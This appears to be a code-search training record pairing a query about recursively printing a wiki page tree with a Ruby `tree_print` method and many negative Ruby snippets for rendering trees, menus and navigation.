"0.5464067",
"0.54531157",
"0.54470026",
"0.5440398",
"0.5433179",
"0.54309237",
"0.5417505",
"0.539879",
"0.5390391",
"0.53777516",
"0.5375996",
"0.53697765",
"0.53673095",
"0.5365569",
"0.5365569",
"0.5356666",
"0.5349441",
"0.5343892",
"0.53409725",
"0.53409386",
"0.5333697",
"0.533237",
"0.5329954",
"0.5320765",
"0.5319934",
"0.53188497",
"0.53147924",
"0.53133494",
"0.5311567",
"0.53036916",
"0.53033715",
"0.529828",
"0.52927554",
"0.52919817",
"0.5291108",
"0.52910197",
"0.5289373",
"0.5286523",
"0.5280662",
"0.5245016",
"0.5241843",
"0.5239125",
"0.52335733",
"0.5232158",
"0.52171314",
"0.52139956",
"0.519716",
"0.5193454",
"0.51867646",
"0.5186504",
"0.51852065",
"0.51770186",
"0.5174047",
"0.5173553"
] |
0.7567119
|
1
|
Recursively prints the page tree as a list tree tree Tree of Hash gollum::Pages folder Current folder, start with empty string
|
def tree_print(tree, folder)
str = "";
tree.each do |key, value|
if not value.is_a?(Hash)
# page
if value.name != "Home"
str += "<li><a href=\"/#{@wiki.base_path}#{value.url_path}\">#{value.name}</a></li>"
end
else
# folder
subfolder = folder + "/" + key
str += "<li><a href=\"#{@wiki.base_path}#{subfolder}/\">#{key}</a>"
str += "<ul>"
str += tree_print(value, subfolder)
str += "</ul>"
str += "</li>"
end
end
return str
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show_tree\n htmltree = \"\"\n self.each { |node| \n htmltree += \"<li><a href='#{normalize(node.name)}'>\"\n htmltree += ' ' * node.node_depth * 3\n htmltree += \"#{node.name}</a></li>\\n\"\n }\n htmltree\n end",
"def print_tree\n ''\n end",
"def flat_page_tree\n @flat_tree ||= ([{\n :key => \"page_#{self.root_page.id}\".to_sym,\n :name => self.root_page.menu_name,\n :url => self.root_page.url,\n :options => {:class => \"#{self.root_page.page_type} #{self.root_page.displayed ? '' : 'not-displayed'}\"},\n :items => []\n }] + self.root_page.children.collect {|page| page.tree_hash_value } )\n @flat_tree\n end",
"def page_tree_selector \n pages.order(:names_depth_cache).map { |page| [\n \"---\" * page.depth + \n (page.displayed ? \" \" : \" (invisible) \") +\n page.menu_name, \n page.id\n ] }\n end",
"def printTree()\n def pTree(node, i)\n puts node.toString i\n node.children.each do|child|\n pTree(child, i+1)\n end\n end\n pTree(@root, 0)\n end",
"def tree(dir='.')\n output = []\n visit_tree(output, '.', '', '', '', dir)\n output.join(\"\\n\")\n end",
"def to_s(page = nil)\n page ||= self.pages['index']\n\n return unless page.translated_in?(Locomotive::Mounter.locale)\n\n puts \"#{\" \" * (page.try(:depth) + 1)} #{page.fullpath.inspect} (#{page.title}, position=#{page.position})\"\n\n (page.children || []).each { |child| self.to_s(child) }\n end",
"def pages(treeish = nil)\n tree_list(treeish || 'master')\n end",
"def tree\n # Caution: use only for small projects, don't use in root.\n @title = 'Full Tree'\n # @files = `zsh -c 'print -rl -- **/*(#{@sorto}#{@hidden}M)'`.split(\"\\n\")\n @files = Dir['**/*']\n message \"#{@files.size} files.\"\nend",
"def documentation_navigation_tree_for(page, options = {})\n active_page_type = nil\n items = String.new.tap do |s|\n if page.is_a?(::Documentation::Page)\n\n pages = page.navigation.select { |p,c| documentation_authorizer.can_view_page?(p) }\n\n pages.each do |p, children|\n s << \"<li>\"\n s << \"<a #{page == p ? \"class='active'\" : ''} href='#{documentation_doc_root}/#{p.full_permalink}'>#{p.title}</a>\"\n active_page_type = :root if page == p\n unless children.empty?\n s << \"<ul>\"\n children.select { |c| documentation_authorizer.can_view_page?(c) }.each do |p|\n s << \"<li><a #{page == p ? \"class='active'\" : ''} href='#{documentation_doc_root}/#{p.full_permalink}'>#{p.title}</a></li>\"\n active_page_type = :child if page == p\n end\n s << \"</ul>\"\n end\n s << \"</li>\"\n end\n else\n ::Documentation::Page.roots.select { |p| documentation_authorizer.can_view_page?(p) }.each do |page|\n s << \"<li><a href='#{documentation_doc_root}/#{page.full_permalink}'>#{page.title}</a></li>\"\n end\n end\n end\n\n String.new.tap do |output|\n output << \"<ul>\"\n if options[:include_back] && page && page.breadcrumb.size > 1\n if active_page_type == :root && page.has_children?\n back_page = page.breadcrumb[-2]\n elsif active_page_type == :child && !page.has_children?\n back_page = page.breadcrumb[-3]\n else\n back_page = nil\n end\n\n if back_page\n output << \"<li class='back'><a href='#{documentation_doc_root}/#{back_page.full_permalink}'>← Back to #{back_page.title}</a></li>\"\n end\n end\n output << items\n output << \"</ul>\"\n end.html_safe\n end",
"def print_tree\n if root.children\n puts \" - root : #{root.children.length} - \"\n root.children.each(&:print_node)\n puts ''\n end\n end",
"def to_s(page = nil)\n page ||= self.pages['index']\n\n puts \"#{\" \" * (page.try(:depth) + 1)} #{page.fullpath.inspect} (#{page.title}, position=#{page.position}, template=#{page.template_translations.keys.inspect})\"\n\n (page.children || []).each { |child| self.to_s(child) }\n end",
"def display_segment( node )\n html = \"<li>\".html_safe\n node_class = \"folder\"\n if node.class == Venue\n node_class = \"file\"\n end\n if node.class == Organisation\n node_class = \"web-browser\"\n end\n if node == nil then\n html << \"<span class=\\\"#{node_class}\\\"> <a href=\\\"/location_tree/NIL\\\">Found NIL</a> </span>\".html_safe\n html << \"<ul id=\\\"children_of_NIL\\\">\".html_safe\n\n else\n html << \"<span class=\\\"#{node_class}\\\"> <a href=\\\"/location_tree/#{node.id}\\\">#{node.to_s}</a> </span>\".html_safe\n html << \"<ul id=\\\"children_of_#{node.id}\\\">\".html_safe\n node.children.each{|child_node|\n html << display_segment( child_node )}\n end\n html << \"</ul></li>\".html_safe\n end",
"def show_tree\n\tend",
"def tree\n # Caution: use only for small projects, don't use in root.\n $title = \"Full Tree\"\n $files = `zsh -c 'print -rl -- **/*(#{$sorto}#{$hidden}M)'`.split(\"\\n\")\nend",
"def print_tree(tree)\n\t\t\tif tree.is_leaf? and tree.depth > 0\n\t\t\t\tprint_line((\"|\\t\"*(tree.depth-1))+\"+------\"+tree.name)\n\t\t\telse\n\t\t\t\tprint_line((\"|\\t\"*tree.depth)+tree.name)\n\t\t\tend\n\t\t\ttree.children.each_pair do |name,child|\n\t\t\t\t\tprint_tree(child)\n\t\t\tend\n\t\tend",
"def nested_array_to_html(nodes)\n classes = \"depth-#{ nodes.first[:depth] }\"\n classes += \" folder-tree\" if nodes.first[:depth].zero?\n\n html = \"<ul class=\\\"#{ classes }\\\">\"\n nodes.each do |node|\n html += \"<li>\"\n\n if node[:children]\n html += '<i class=\"icon-folder-close\"></i>'\n else\n html += '<i class=\"icon-file-alt\"></i>'\n end\n\n html += \"<span class=\\\"name\\\">#{ node[:name].strip }</span>\"\n unless (node[:children].nil? || node[:children].empty?)\n html += nested_array_to_html(node[:children]) \n end\n html += '</li>'\n end\n\n html += '</ul>'\n\n html\n end",
"def traverse_nav_markdown(node)\n\t\n\t\t# traverse subfolders, go deep\n\t\tif node_has_children(node)\n\t\t\t node.children.items.each_with_index do |child|\n\n\t\t\t\t items = traverse_nav_markdown(child)\n\t\t\t\t child.children = Map.new unless child.children?\n\t\t\t\t child.children.count = 0 unless child.children.count?\n\t\t\t\t child.children.items = [] unless child.children.items?\n\t\t \n\t\t\t\t child.children.count = items.size\n\t\t\t\t child.children.items = items\t\t\t\t\n\n\t\t\t end\n\t\tend\n\t\n\t\tnode_list = nil\n\t\tif node.children? and node.children.items?\n\t\t\tnode_list = node.children.items\n\t\tend\n\t\n\t\tmarkdowns = Dir.glob(\"#{node.source_path}/*.markdown\")\n\t\n\t\t# if we are at the root node (content source), don't process markdowns here (home.markdown handled separately, special)\n\t\tmarkdowns = [] if node.nav_level == 0\n\t\n\n\t\tif markdowns.size > 0 and node.nav_level > 0\n\n\t\t\t#puts\n\t\t\t#puts \"#{node.source} - #{node.children?}\"\n\t\t\tnode.children = Map.new unless node.children?\n\t\t\tnode.children.count = 0 unless node.children.count?\n\t\t\tnode.children.items = [] unless node.children.items?\n\t\t\t#puts \"#{node.source} - #{node.children?} - #{node.children.count?}\"\n\t\t\n\t\t\tnode_list = node.children.items\n\t\t\t\n\t\t\tmarkdowns.each do |md|\t\t\t\t\t\t\n\t\t\t\tsource = md.gsub(/#{node.source_path}\\//, \"\").gsub(/.markdown/, \"\")\n\t\t\t\n\t\t\t\tis_cbdoc_special_file = source.start_with? \"aaab-\"\n\t\t\t\n\t\t\t\tunless is_cbdoc_special_file\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tif node.link?\n\t\t\t\t\t\tlink = node.link + \"/\" + source \n\t\t\t\t\telse\t\t \n\t\t\t\t\t\tnode.link = \"undefined\"\n\t\t\t\t\t\tputs node.nav_type\n\t\t\t\t\t\texit\n\t\t\t\t\tend\n\t\t\t\t\n\t\t\t\t\tsource_path = node.source_path + \"/\" + source\t\t\t \n\n\t\t\t\t\tis_markdown_and_folder = (File.exist?(\"#{source_path}\") && File.directory?(\"#{source_path}\"))\n\t\t\t\n\t\t\t\t\tunless is_markdown_and_folder\t\t \n\t\t\t\t\t\n\t\t\t\t\t\tfull_link = (node.link.start_with?(\"/#{CONTENT_LINK_PREFIX}/\") ?\tlink : \"/#{CONTENT_LINK_PREFIX}/\" + link )\n\t\t\t\t\t\tparent_path = node.source_path\n\t\t\t\t\t\tparent_full_link = (node.link.start_with?(\"/#{CONTENT_LINK_PREFIX}/\") ?\t node.link : \"/#{CONTENT_LINK_PREFIX}/\" + node.link )\n\t\t\t\t\n\t\t\t\t\t\titem = Map.new({\n\t\t\t\t\t\t\tdoctype: \"nav\",\n\t\t\t\t\t\t\tsubtype: \"nav_\" + (node.nav_level + 1).to_s,\n\t\t\t\t\t\t\tnav_type: \"markdown\",\n\t\t\t\t\t\t\tnav_level: node.nav_level + 1,\t\t\t\t\n\t\t\t\t\t\t\tnav_order: 9000,\n\t\t\t\t\t\t\tnav_title: process_navigation_name(source),\n\t\t\t\t\t\t\tsource: source,\n\t\t\t\t\t\t\tlink: link,\n\t\t\t\t\t\t\tfull_link: full_link,\n\t\t\t\t\t\t\tparent: node.source,\n\t\t\t\t\t\t\tparent_nav_title: node.nav_title,\n\t\t\t\t\t\t\tparent_link: node.link,\n\t\t\t\t\t\t\tparent_full_link: parent_full_link,\n\t\t\t\t\t\t\tparent_path: parent_path,\n\t\t\t\t\t\t\tsource_path: source_path,\n\t\t\t\t\t\t\tancestors: [],\n\t\t\t\t\t\t\tancestors_links: [],\n\t\t\t\t\t\t\tsiblings: [],\n\t\t\t\t\t\t\tsiblings_links: [],\n\t\t\t\t\t\t\tdescendants: [],\n\t\t\t\t\t\t\tdescendants_links: []\t\t\t\t \n\t\t\t\t\t\t})\n\t\t\t\t\t\n\t\t\t\t\t\tnode_list << item \n\t\t\t\t\tend\t\t \n\t\t\t\tend\n\t\t\tend\t\t \n\t\tend\n\t\n\t\t#ap node_list\n\t\n\t\tnode_list\n\tend",
"def print_tree(out = $stdout)\n out.puts \"## Class: #{name}\"\n out.puts \" Visible Name: #{visible_name}\"\n out.puts \" Description : #{description}\"\n tables.each do |table|\n table.print_tree(out)\n end\n end",
"def _display_tree(max_length=20, tabs='')\n\t\treturn @contents._display_tree(max_length, tabs)\n\tend",
"def render\n path = [[root,0]]\n current_height = 0\n\n while (current, height = path.shift)\n next if nil_node_proc.call(current)\n # don't print empty leafs\n next if height >= max_height\n\n # height increased: we print the / \\ separator\n if height > current_height\n current_height += 1\n print_height_separator(current_height)\n end\n\n current.render(padding(height))\n\n # navigate left\n if !nil_node_proc.call(current.l)\n path.push([current.l, height + 1])\n elsif height < max_height\n path.push([EmptyNode.from_node(current), height + 1])\n end\n\n # navigate right\n if !nil_node_proc.call(current.r)\n path.push([current.r, height + 1])\n elsif height < max_height\n path.push([EmptyNode.from_node(current), height + 1])\n end\n end\n puts \"\\n\"\n end",
"def traverse_folders(nav_level, parent, parent_link, parent_full_link, node_folder_path) \n\n\t\tnode_list = []\n\t\n\t\t#puts \"traverse_folders(#{nav_level.to_s}, #{parent}, #{node_folder_path})\"\n\t\n\t\tsubfolders = nil\n\t\tbegin\n\t\t\tsubfolders = Dir.entries(node_folder_path).select {|entry| File.directory? File.join(node_folder_path, entry) and !(entry == '.' || entry == '..' || entry == 'assets' || entry == 'images') }\n\t\trescue Errno::ENOENT\n\t\t\tputs \"ERROR: No File or Directory [#{node_folder}]\"\n\t\t\tputs puts\n\t\t\texit\n\t\tend\t \n\t\t\n\t\tsubfolders.each do |folder|\n\t\t\tnode = Map.new\n\n\t\t\tsub_path = node_folder_path + \"/\" + folder\n\t\t\n\t\t\tlink = (parent_link.length == 0 ? \"\" : parent_link + \"/\" ) + folder\n\t\t\tfull_link =\t (parent_full_link.length == 0 ? \"/\" : parent_full_link + \"/\" ) + folder\n\t\t\t\t\n\t\t\tnode = Map.new({\n\t\t\t\tdoctype: \"nav\",\n\t\t\t\tsubtype: \"nav_\" + nav_level.to_s,\n\t\t\t\tnav_type: (File.exist?(\"#{sub_path}/../#{folder}.markdown\") ? \"folder+markdown\" : \"folder\"),\n\t\t\t\tnav_level: nav_level,\n\t\t\t\tnav_order: 9000,\n\t\t\t\tnav_title: process_navigation_name(folder),\t\t\t \n\t\t\t\tsource: folder,\n\t\t\t\tlink: link,\n\t\t\t\tfull_link: full_link,\n\t\t\t\tparent: parent,\n\t\t\t\tparent_nav_title: process_navigation_name(parent_link),\n\t\t\t\tparent_link: parent_link,\n\t\t\t\tparent_full_link: parent_full_link,\n\t\t\t\tparent_path: node_folder_path,\n\t\t\t\tsource_path: sub_path,\n\t\t\t\tancestors: [],\n\t\t\t\tancestors_links: [],\n\t\t\t\tsiblings: [],\n\t\t\t\tsiblings_links: [],\n\t\t\t\tdescendants: [],\n\t\t\t\tdescendants_links: [],\n\t\t\t\tnavigation_yml: (File.exists? (sub_path + \"/aaaa-navigation.yml\")),\n\t\t\t\tindex_erb: (File.exists? (sub_path + \"/index.erb\"))\n\t\t\t})\n\t\t\t\t\n\t\t\titems = traverse_folders(nav_level + 1, folder, link, full_link, sub_path)\n\t\t\n\t\t\tif items.size > 0\n\t\t\t\t node.children = {}\n\t\t\t\t node.children.count = items.size\n\t\t\t\t node.children.items = items\n\t\t\tend\n\t\t\n\t\t\tnode_list << node\n\t\tend\n\t\n\t\tnode_list\n\t \n\tend",
"def page_tree\n @tree ||= [self.root_page.tree_hash_value]\n @tree\n end",
"def printout\n\t\t\n\t\tindex = 0\n\t\t\n\t\tdef small_loop (node, index)\n\t\t\t\n\t\t\tfor i in 0...index\n\t\t\t\tprint \" \"\n\t\t\tend\n\t\t\t\n\t\t\tputs node.name\n\t\t\tindex += 1\n\t\t\t\n\t\t\tif node.children.length > 0\n\t\t\t\tindex += 1\n\t\t\t\tnode.children.cycle(1) { |child| small_loop(child, index) }\n\t\t\tend\n\t\tend\n\t\t\n\t\tsmall_loop(@root, index)\n\tend",
"def _display_tree(max_length=20, tabs='')\n\t\tif(@type != '')\n\t\t\tprint(tabs + \"[\" + @type + ((@param != '')? '(' + @param.to_s + ')': '') + \"]\\n\")\n\t\telse\n\t\t\tprint(tabs + \"[TEMPLATE:\" + @template.template_file + \"]\\n\")\n\t\tend\n\n\t\tfor content in @contents\n\t\t\tif(content.is_a?(SifterElement))\n\t\t\t\tcontent._display_tree(max_length, tabs + \"\\t\")\n\t\t\telsif(content.is_a?(SifterTemplate))\n\t\t\t\tcontent._display_tree(max_length, tabs + \"\\t\")\n\t\t\telse\n\t\t\t\tcontent.gsub!(/[\\r\\n]/, ' ')\n\t\t\t\tprint(tabs + \"\\t[TEXT:\" + content[0, max_length] + \"]\\n\")\n\t\t\tend\n\t\tend\n\tend",
"def collect_tree_up_from (foliage,\n parents,\n except_homepage,\n except_page,\n except_with_children)\n ancestry_string = parents.collect {|x| x.id.to_s }.join(\"/\")\n name_prefix = parents.collect {|x| x.title }.join(\" / \")\n name_prefix += \" / \" if name_prefix.present?\n\n our_mans_indexes = []\n foliage.each_index do |indx|\n if foliage[indx].ancestry.to_s == ancestry_string\n our_mans_indexes << indx\n end\n end\n\n leaves = []\n\n our_mans_indexes.reverse!\n our_mans_indexes.each do |indx|\n leaves << foliage.delete_at(indx)\n end\n\n leaves.sort! {|a,b| (a.prior == b.prior) ? a.id <=> b.id : a.prior <=> b.prior }\n result = []\n\n leaves.each do |leaf|\n do_writing = true\n if (except_page && leaf == except_page) || (except_homepage && leaf.home?)\n do_writing = false\n end\n result << [ name_prefix + leaf.title, leaf.id ] if do_writing\n unless do_writing == false && except_with_children\n result += collect_tree_up_from foliage,\n (parents + [ leaf ]),\n except_homepage,\n except_page,\n except_with_children\n end\n end\n\n result\n end",
"def cmd_tree\n print_tree(Editor, 0)\n end",
"def test_print_tree\n setup_test_tree\n #puts\n #@root.print_tree\n end",
"def print_recursive_menu(menu_entry)\n menu_children = MenuEntry.find_all_by_parent_id(menu_entry.id)\n current_entry = \"<li>\" + menu_link(menu_entry) + \"</li>\"\n return current_entry if menu_children.size == 0\n current_entry = \"<li>\" + menu_link(menu_entry) + \"<ul>\"\n for menu_child in menu_children do\n current_entry += print_recursive_menu(menu_child)\n end\n current_entry += \"</ul></li>\"\n return current_entry\n end",
"def show\n @page_structure = Page.find_by(parent_path: '', csv_id: @page.csv_id).subtree.arrange\n end",
"def render\n\t\t\ttree.flatten.map(&:to_s).join\n\t\tend",
"def print_tree(level = 0)\n if is_root?\n print \"\\n*\"\n else\n print \"|\" unless parent.is_root?\n print(' ' * (level - 1) * 4)\n print(is_root? ? \"+\" : \"|\")\n print \"---\"\n print(has_children? ? \"+\" : \">\")\n end\n\n if content\n content_hash = content.split(\"[\").first\n else\n content_hash = nil\n end\n\n puts \" #{content}\" + \" <Type: \" + (@node_type || \"no_type\") + \">\"\n\n children { |child| child.print_tree(level + 1)}\n end",
"def printTree(root = @root, indentation = \"\\n\")\r\n #print root the first time running mehtod, the rest will be printed as children\r\n puts \"#{indentation}#{root.value}\" if root == @root\r\n root.children.each do | child |\r\n puts \"#{indentation}\\t#{child.value}\\n\"\r\n #if there are children, again\r\n printTree(child, indentation + \"\\t\") if child.children.any?\r\n end\r\n end",
"def print_paths\n path, counter = [], 0\n puts '************************ Tree Paths ***********************************'\n puts\n print_tree_paths(self.root, path, counter)\n puts\n puts '***********************************************************************'\n end",
"def print_tree(array , item, level)\n items = array[item]\n unless items == nil\n indent = level > 0 ? sprintf(\"%#{level * 2}s\", \" \") : \"\"\n items.each do |e|\n puts \"#{indent}-#{e[:title]}\"\n print_tree(e, level + 1)\n end\n end\nend",
"def traverse_nav_tree_and_convert_to_xml(node)\n \n # traverse subfolders, go deep\n if node_has_children(node)\n node.children.items.each do |child|\n traverse_nav_tree_and_convert_to_xml(child)\n end\n end\n \n return if node.nav_level == 0\n \n mod = node.dup\n\n link = node.link\n full_link = node.full_link\n \n mod.parent_link = parent_link = node.link[0..(link.rindex(\"/\") - 1)] if node.nav_level > 1\n \n if CONTENT_LINK_PREFIX && CONTENT_LINK_PREFIX.length > 0\n full_link = mod.full_link = \"/\" + CONTENT_LINK_PREFIX + node.full_link unless node.full_link.start_with?(\"/#{CONTENT_LINK_PREFIX}\")\n end\n\n \n mod.delete :source_path\n mod.delete :parent_path\n mod.delete :children\n\n\n #puts \"storing [#{mod.nav_level}][#{mod.nav_order}][#{mod.nav_type}] - #{mod.nav_title}\"\n case mod.nav_type \n \n when \"folder\"\n\t\t# do nothing for these\n when \"markdown\"\n metadata, markdown = parse_markdown_file(node.source_path)\n\t\t\n\t\tfilepath_markdown = node.source_path.dup\t\t\n\t\tfilepath_markdown += \".markdown\"\tunless filepath_markdown.end_with? (\".markdown\")\t\t\n\t\tmod.updated_at = Chronic.parse(File.mtime(filepath_markdown).to_s).utc.to_i\n\t\t\n mod.metadata = metadata if metadata\n mod.markdown = markdown\n \n\t\thtml = MarkdownRender::render(mod.markdown)\n\t\tdoc = Nokogiri::HTML(html) \n\t\txml = doc.css('body')[0].serialize #(save_with: 0)\n\t\txml.gsub!(/^<p><img /, \"<img \")\n\t\txml = Nokogiri::XML(xml)\n\t\tb = xml.at_css \"body\"\n\t\tb.name = \"doc\"\n\t\t\n File.open(\"#{filepath_markdown.gsub(/.markdown/, \".xml\")}\", 'w') { |f| xml.write_xml_to f }\n\n when \"folder+markdown\"\n metadata, markdown = parse_markdown_file(node.source_path)\n\t\t\n\t\tfilepath_markdown = node.source_path.dup\t\t\n\t\tfilepath_markdown += \".markdown\"\tunless filepath_markdown.end_with? (\".markdown\")\t\t\n\t\tmod.updated_at = Chronic.parse(File.mtime(filepath_markdown).to_s).utc.to_i\n\t\t\n mod.metadata = metadata if metadata\n mod.markdown = markdown\n\n\t\thtml = MarkdownRender::render(mod.markdown)\n\t\tdoc = Nokogiri::HTML(html)\n\t\txml = doc.css('body')[0].serialize #(save_with: 0)\n\t\txml.gsub!(/^<p><img /, \"<img \")\n\t\txml = Nokogiri::XML(xml)\n\n img_sizes = {\n \"40%\" => \"min\",\n \"50%\" => \"small\",\n \"65%\" => \"medium\",\n \"100%\" => \"full\",\n \"600px\" => \"large\"\n }\n \n img_sizes.each do |size,name|\n img = xml.at_css \"img[width=\\\"#{size}\\\"]\"\n img['size'] = name if img\n puts img.inspect if img\n end\n\n\t\tb = xml.at_css \"body\"\n\t\tb.name = \"doc\"\n\t\t\n File.open(\"#{filepath_markdown.gsub(/.markdown/, \".xml\")}\", 'w') { |f| xml.write_xml_to f }\n end\n \nend",
"def display_tree() \n list = []\n yield @tree.value\n left_child = @tree.left_child\n right_child = @tree.right_child\n\n list << left_child if left_child != nil\n list << right_child if right_child != nil\n\n loop do\n break if list.empty?\n node = list.shift\n yield node.value\n list << node.left_child if node.left_child != nil\n list << node.right_child if node.right_child != nil\n end\n end",
"def generate_class_tree_level(parent='')\n $all.map { |klass|\n if parent == klass['parentname']\n [\n klass['name'],\n \"classes/#{klass['fullname']}.html\", # klass.path, \n '',\n generate_class_tree_level(klass['fullname'])\n ]\n else\n nil\n end\n }.compact\nend",
"def bp_directory_index\n tree_hash = BP.same_level_views(\"/base_project#{request.env['PATH_INFO']}\")\n\n p tree_hash\n\n out = \"<ul>\"\n\n tree_hash.keys.each do |tree_hash_key|\n thk = tree_hash_key.gsub(\".html.erb\", \"\")\n thk = thk.gsub(\"/mocks\", \"\")\n\n out += content_tag :li, thk.gsub(\"/\", \"\")\n\n out += \"<ul>\"\n tree_hash[tree_hash_key].each do |tree_hash_value|\n thv = tree_hash_value.gsub(\".html.erb\", \"\")\n if thv != \"index\"\n out += content_tag :li, link_to(\"#{thv}\", \"/mocks?t=#{thk}/#{thv}\")\n end\n\n end\n out += \"</ul>\"\n\n out += \"</li>\"\n end\n out += \"</ul>\"\n\n out.html_safe\nend",
"def pages(treeish = nil)\n tree_list(treeish || @ref, true, false)\n end",
"def print_tree(n, i = 0)\n i.times { print \" \" }\n puts \"+-#{n}\"\n $classtree[n].sort.each { |c| print_tree(c, i+2) }\nend",
"def level_order_print(tree)\n unless tree\n return\n end\n\n nodes = [tree]\n current_line_count = 1\n next_line_count = 0\n\n while nodes.length != 0\n current_node = nodes.shift\n current_line_count -= 1\n print current_node.key.to_s + ' '\n if current_node.left_child\n nodes.push(current_node.left_child)\n next_line_count += 1\n end\n if current_node.right_child\n nodes.push(current_node.right_child)\n next_line_count += 1\n end\n if current_line_count == 0\n # finished printing current level\n puts ''\n current_line_count = next_line_count\n next_line_count = current_line_count\n end\n end\nend",
"def trace\n \n path = WikiPath.new\n \n page = self\n\n wikipage = Wikipedia.find(title)\n\n # If page has a parent we must stop (we can fetch the cached path or it's a loop)\n # If there's no page... we reached the end of the road\n while !page.blank? and page.parent_id.blank? \n \n path.pages << page\n \n # We must get rid of infoboxes, metadata and Image and FIle links before we get the link title\n first_link_title = wikipage.content.gsub(\"\\n\", \"\").gsub(/\\{\\{[^\\}]*\\}\\}/, \"\").gsub(\"[[Image:\", \"\").gsub(\"[[File:\", \"\").match(/\\[\\[[^\\]]*\\]\\]/)[0]\n first_link_title = first_link_title.split(\"|\").first.gsub(\"]\", \"\").gsub(\"[\", \"\") unless first_link_title.nil?\n\n if first_link_title.nil?\n page.update_attributes :is_root => true\n page = nil\n else\n\n wikipage = Wikipedia.find(first_link_title)\n\n parent_page = WikiPage.find_by_title(first_link_title)\n parent_page ||= WikiPage.create :url => \"\", :title => first_link_title, :fetched_at => Time.now\n\n page.update_attributes :parent_id => parent_page.id\n\n\n page = parent_page \n end\n end\n\n unless page.blank?\n path.pages << page\n unless page.parent_id.blank?\n \n parent_pos = path.pages.index page.parent\n # If parent is not in the path then we have a cached path\n if parent_pos.nil?\n path.pages.concat(page.ancestors.reverse)\n else # If parent is in the path then we have a loop\n\n # remove pages from path\n roots = path.pages.slice! parent_pos, path.pages.length - parent_pos\n\n # create a tree\n tree = WikiTree.create :name => roots.map(&:title).join(\" - \")\n # we remove the parent page to every root and indicate it's a root\n roots.each do |root|\n root.update_attributes :is_root => true, :parent_id => nil\n end\n\n end\n\n end\n end\n\n path.pages.each do |page|\n tree.pages << page\n page.reload\n end\n\n path\n\n end",
"def printDepthFirst()\n # println(\"printDepthFirst\");\n # # // global fileCounter\n # @fileCounter = 0;\n # printRealDepthFirst(0,-1);\n # println(fileCounter+\" files\");\n end",
"def tree_list(ref)\n sha = @access.ref_to_sha(ref)\n commit = @access.commit(sha)\n tree_map_for(sha).inject([]) do |list, entry|\n next list unless @page_class.valid_page_name?(entry.name)\n list << entry.page(self, commit)\n end\n end",
"def print_tree\n current = nil\n stack = Stack.new\n stack.push(@root)\n until stack.empty?\n current = stack.pop\n if current.parent.nil?\n puts current.tag\n else\n puts \"#{current.tag}\\t<=\\t#{current.parent.tag}\"\n end\n unless current.childs.size.zero?\n current.childs.reverse_each { |child| stack.push(child) }\n end\n end\n end",
"def make_tree(in_list, pid = self.pid)\n [].tap do |top_level|\n left_over = []\n # Categorize into top level, or not top level\n in_list.each do |node|\n if node['parent_page_id'].blank? || node['parent_page_id'] == pid\n top_level.unshift node\n else\n left_over.unshift node\n end\n end\n\n # For each of the top_level nodes make a subtree with the leftovers.\n top_level.each do |node|\n node['children'] = make_tree(left_over, node['id'])\n end\n end\n end",
"def printTree(options = {})\n # Set defaults\n options[:name] ||= true\n options[:content] ||= false\n \n result = \"\"\n \n options[:output] = result \n # Traverse tree and modify result by tacking on child names.\n printTraversal(options)\n \n puts result\n end",
"def to_tree() = puts(TTY::Tree.new({ '.' => as_tree }).render)",
"def tree_gallery(gallery)\n str = \"\"\n if @gallery == gallery || @gallery.ancestors.include?(gallery)\n str = \"<ul>\"\n gallery.children.each do |gallery_child|\n str += \"<li>\"\n str += link_gallery_with_number(gallery_child)\n str += tree_gallery(gallery_child)\n str += \"</li>\"\n end\n str += \"</ul>\"\n end\n str\n end",
"def subpage_navigation(page)\n l = \"<ul>\\n\"\n page.pages.each do |page|\n l << page_navigation_helper(page)\n end\n l << \"</ul>\"\n end",
"def tree_list(ref = @ref, pages=true, files=true)\n if (sha = @access.ref_to_sha(ref))\n commit = @access.commit(sha)\n tree_map_for(sha).inject([]) do |list, entry|\n if ::Gollum::Page.valid_page_name?(entry.name)\n list << entry.page(self, commit) if pages\n elsif files && !entry.name.start_with?('_') && !::Gollum::Page.protected_files.include?(entry.name)\n list << entry.file(self, commit)\n end\n list\n end\n else\n []\n end\n end",
"def pages_to_list\n # sort by fullpath first\n list = self.pages.values.sort { |a, b| a.fullpath <=> b.fullpath }\n # sort finally by depth\n list.sort { |a, b| a.depth <=> b.depth }\n end",
"def pages_to_list\n # sort by fullpath first\n list = self.pages.values.sort { |a, b| a.fullpath <=> b.fullpath }\n # sort finally by depth\n list.sort { |a, b| a.depth <=> b.depth }\n end",
"def build_partial_navigation_tree(value, depth = Float::INFINITY, key = nil, level = 0)\n navigation_tree = \"\"\n\n if value.is_a?(String)\n\n # This is a file.\n # Get the Sitemap resource for this file.\n # note: sitemap.extensionless_path converts the path to its 'post-build' extension.\n this_resource = resource_from_value(value)\n\n return \"\" if this_resource.nil?\n\n unless extensions[:navtree].options[:directory_index] && this_resource.directory_index?\n navigation_tree << child_li(this_resource) if this_resource\n end\n else\n\n # This is the first level source directory. We treat it special because it has no key and needs no list item.\n if key.nil?\n value.each do |newkey, child|\n navigation_tree << build_partial_navigation_tree(child, depth, newkey, level + 1)\n end\n\n # Continue rendering deeper levels of the tree, unless restricted by depth.\n elsif depth >= (level + 1)\n\n # Loop through all the directory's contents.\n directory_content = \"\"\n value.each do |newkey, child|\n directory_content << build_partial_navigation_tree(child, depth, newkey, level + 1)\n end\n\n directory_content_html = render_partial(extensions[:navtree].options[:navigation_tree_items_container], { :directory_content => directory_content })\n\n # This is a directory.\n # The directory has a key and should be listed in the page hieararcy with HTML.\n navigation_tree << parent_li(key, value, directory_content_html)\n end\n end\n\n return navigation_tree\n end",
"def print_tree(tree)\n return \"-\" if tree.nil?\n puts \"#{tree.value}: \"\n print \"Left: \"\n puts \"#{print_tree(tree.children[0])}\"\n print \"Right: \"\n puts \"#{print_tree(tree.children[1])}\"\nend",
"def add_page_to_tree(page)\n if !page.root?\n #puts \"page: #{page}\"\n #puts \"page.fullpath: #{page.fullpath}\"\n #puts \"page.parent_id: #{page.parent_id}\"\n page.parent = @remote_pages_by_id[page.parent_id]\n #puts \"page.parent: #{page.parent}\"\n #puts \"page.parent.class: #{page.parent.class}\"\n #puts \"page.parent.children: #{page.parent.children}\"\n page.parent.children << page\n end\n end",
"def folder_tree\n render :partial => 'folder_tree', :locals => { :site_mapping => SiteMapping.find(params[:site_mapping_id]) }\n end",
